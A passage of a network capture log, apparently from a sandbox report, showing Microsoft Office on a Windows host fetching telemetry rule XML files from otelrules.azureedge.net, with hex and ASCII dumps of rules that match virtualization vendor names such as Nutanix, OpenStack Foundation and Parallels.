2024-11-21 21:34:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:22 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213423Z-178bfbc474bgvl54hC1NYCsfuw000000022g000000007wk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:22 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 906eedcd-201e-0071-4861-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213423Z-178bfbc474bv7whqhC1NYC1fg40000000240000000002p18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:23 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213423Z-174c587ffdf89smkhC1TEB697s00000000f000000000d227 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:23 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213424Z-174c587ffdfx984chC1TEB676g00000000e0000000002273 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213425Z-178bfbc474bw8bwphC1NYC38b400000001rg000000015zru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213425Z-178bfbc474bwlrhlhC1NYCy3kg000000024g000000001fg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213425Z-178bfbc474bpnd5vhC1NYC4vr4000000024g000000000dxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213426Z-178bfbc474bvjk8shC1NYC83ns00000001s0000000014dac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:26 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:26 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213426Z-178bfbc474bbcwv4hC1NYCypys00000001ug00000000tnw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:26 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:27 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213427Z-178bfbc474bmqmgjhC1NYCy16c000000022g00000000nb2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:27 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213427Z-174c587ffdf8lw6dhC1TEBkgs800000000g0000000000zef x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:27 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
